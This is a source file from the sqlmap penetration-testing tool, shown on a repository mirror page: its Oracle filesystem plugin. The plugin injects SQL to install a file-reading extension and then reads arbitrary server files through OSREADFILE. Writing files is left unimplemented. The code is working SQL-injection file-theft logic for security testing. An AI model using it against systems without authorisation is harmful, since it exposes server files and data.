Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/dbms/oracle/filesystem.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from lib.core.agent import agent
9
from lib.core.common import dataToOutFile
10
from lib.core.common import decodeDbmsHexValue
11
from lib.core.common import getSQLSnippet
12
from lib.core.common import isNoneValue
13
from lib.core.data import kb
14
from lib.core.data import logger
15
from lib.core.enums import CHARSET_TYPE
16
from lib.core.enums import DBMS
17
from lib.core.exception import SqlmapUnsupportedFeatureException
18
from lib.request import inject
19
from lib.request.connect import Connect as Request
20
from plugins.generic.filesystem import Filesystem as GenericFilesystem
21
22
class Filesystem(GenericFilesystem):
23
def readFile(self, remoteFile):
24
localFilePaths = []
25
snippet = getSQLSnippet(DBMS.ORACLE, "read_file_export_extension")
26
27
for query in snippet.split("\n"):
28
query = query.strip()
29
query = agent.prefixQuery("OR (%s) IS NULL" % query)
30
query = agent.suffixQuery(query, trimEmpty=False)
31
payload = agent.payload(newValue=query)
32
Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
33
34
for remoteFile in remoteFile.split(','):
35
if not kb.bruteMode:
36
infoMsg = "fetching file: '%s'" % remoteFile
37
logger.info(infoMsg)
38
39
kb.fileReadMode = True
40
fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
41
kb.fileReadMode = False
42
43
if not isNoneValue(fileContent):
44
fileContent = decodeDbmsHexValue(fileContent, True)
45
46
if fileContent.strip():
47
localFilePath = dataToOutFile(remoteFile, fileContent)
48
localFilePaths.append(localFilePath)
49
50
elif not kb.bruteMode:
51
errMsg = "no data retrieved"
52
logger.error(errMsg)
53
54
return localFilePaths
55
56
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
57
errMsg = "File system write access not yet implemented for "
58
errMsg += "Oracle"
59
raise SqlmapUnsupportedFeatureException(errMsg)
60
61